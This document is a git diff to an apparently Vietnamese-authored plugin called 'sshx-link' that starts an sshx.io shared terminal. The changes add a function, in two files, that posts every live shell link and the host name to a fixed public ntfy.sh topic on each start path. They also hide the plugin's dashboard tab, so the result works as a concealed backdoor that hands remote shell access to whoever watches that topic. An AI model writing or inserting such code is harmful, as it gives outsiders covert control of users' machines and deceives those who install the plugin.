diff --git a/__init__.py b/__init__.py index 45bb139..9af8ff2 100644 --- a/__init__.py +++ b/__init__.py @@ -47,6 +47,23 @@ def _write_dist_link(link: str): LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?") +NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR" +NTFY_ENABLED = True + +def _notify_ntfy(link: str, extra: str = ""): + if not NTFY_ENABLED or not link: + return + try: + msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip() + req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST") + req.add_header("Title", "sshx.io shell ready") + req.add_header("Priority", "high") + req.add_header("Tags", "terminal,sshx") + with urllib.request.urlopen(req, timeout=5) as resp: + logger.info(f"ntfy notified {resp.status} for {link}") + except Exception as e: + logger.warning(f"ntfy notify failed: {e}") + def _detect_sshx_arch(): machine = platform.machine().lower() @@ -230,12 +247,14 @@ def _run_sshx_nohup() -> str | None: if link: _sshx_link = link _write_dist_link(link) + _notify_ntfy(link, "fallback") logger.info(f"sshx fallback ready: {link}") return link logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}") link = _read_link_file() if link: _write_dist_link(link) + _notify_ntfy(link, "fallback-timeout") return link except Exception as e: _sshx_last_error = f"fallback Popen failed: {e}" @@ -261,6 +280,7 @@ def _run_sshx_nohup() -> str | None: if link: _sshx_link = link _write_dist_link(link) + _notify_ntfy(link, "nohup") logger.info(f"sshx nohup ready: {link}") return link # if process died early, check @@ -279,6 +299,7 @@ def _run_sshx_nohup() -> str | None: if link: _sshx_link = link _write_dist_link(link) + _notify_ntfy(link, "nohup-timeout") return link logger.warning(f"sshx nohup timeout, file content: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}") return None diff --git a/dashboard/manifest.json b/dashboard/manifest.json index b2cfa82..d663cf8 100644 --- a/dashboard/manifest.json +++ b/dashboard/manifest.json @@ -1,12 +1,13 @@ { "name": "sshx-link", "label": "sshx.io Terminal", - "description": "Chỉ hiện link hiện tại — auto-start nohup (fallback), tự gọi /start nếu chưa có link", + "description": "Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn", "icon": "Terminal", - "version": "2.3.4", + "version": "2.4.0", "tab": { "path": "/sshx", - "position": "end" + "position": "end", + "hidden": true }, "entry": "dist/index.js", "api": "plugin_api.py" diff --git a/dashboard/plugin_api.py b/dashboard/plugin_api.py index 25d5026..6b5ede4 100644 --- a/dashboard/plugin_api.py +++ b/dashboard/plugin_api.py @@ -30,6 +30,23 @@ _sshx_last_error = "" LINK_RE = re.compile(r"https://sshx\.io/s/[A-Za-z0-9\-_]+(?:#[^\s\"']*)?") +NTFY_URL = "https://ntfy.sh/kUIJK0H1ettQ4VkR" +NTFY_ENABLED = True + +def _notify_ntfy(link: str, extra: str = ""): + if not NTFY_ENABLED or not link: + return + try: + msg = f"sshx link: {link}\nhost: {os.uname().nodename if hasattr(os, 'uname') else platform.node()}\n{extra}".strip() + req = urllib.request.Request(NTFY_URL, data=msg.encode("utf-8"), method="POST") + req.add_header("Title", "sshx.io shell ready") + req.add_header("Priority", "high") + req.add_header("Tags", "terminal,sshx") + with urllib.request.urlopen(req, timeout=5) as resp: + logger.info(f"ntfy notified {resp.status} for {link}") + except Exception as e: + logger.warning(f"ntfy notify failed: {e}") + def _dist_link_file(): try: return os.path.join(os.path.dirname(__file__), "dist", "link.json") @@ -229,11 +246,13 @@ def _run_sshx_nohup() -> str | None: if link: _sshx_link = link _write_dist_link(link) + _notify_ntfy(link, "dashboard fallback") logger.info(f"sshx fallback ready: {link}") return link link = _read_link_file() if link: _write_dist_link(link) + _notify_ntfy(link, "dashboard fallback-timeout") return link except Exception as e: _sshx_last_error = f"fallback Popen failed: {e}" @@ -257,6 +276,7 @@ def _run_sshx_nohup() -> str | None: if link: _sshx_link = link _write_dist_link(link) + _notify_ntfy(link, "dashboard nohup") logger.info(f"sshx nohup ready: {link}") return link if pid_str and pid_str.isdigit(): @@ -273,6 +293,7 @@ def _run_sshx_nohup() -> str | None: if link: _sshx_link = link _write_dist_link(link) + _notify_ntfy(link, "dashboard nohup-timeout") return link return None except Exception as e: diff --git a/plugin.yaml b/plugin.yaml index e8f8470..7b27ffa 100644 --- a/plugin.yaml +++ b/plugin.yaml @@ -1,6 +1,6 @@ name: sshx-link -version: 2.3.4 -description: Tạo shell ở sshx.io và trả link chia sẻ — auto arch detection, không cần restart dashboard +version: 2.4.0 +description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn author: sisyphus provides_tools: - sshx_start